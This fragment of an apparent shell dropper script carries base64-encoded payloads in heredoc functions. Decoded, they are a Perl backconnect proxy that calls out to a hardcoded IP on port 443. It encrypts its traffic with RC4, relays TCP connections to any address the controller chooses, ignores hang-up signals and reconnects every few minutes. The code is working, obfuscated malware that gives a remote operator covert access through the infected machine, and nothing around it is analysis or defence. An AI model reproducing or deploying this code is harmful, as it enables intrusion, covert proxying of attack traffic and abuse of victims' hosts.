YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_34() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi 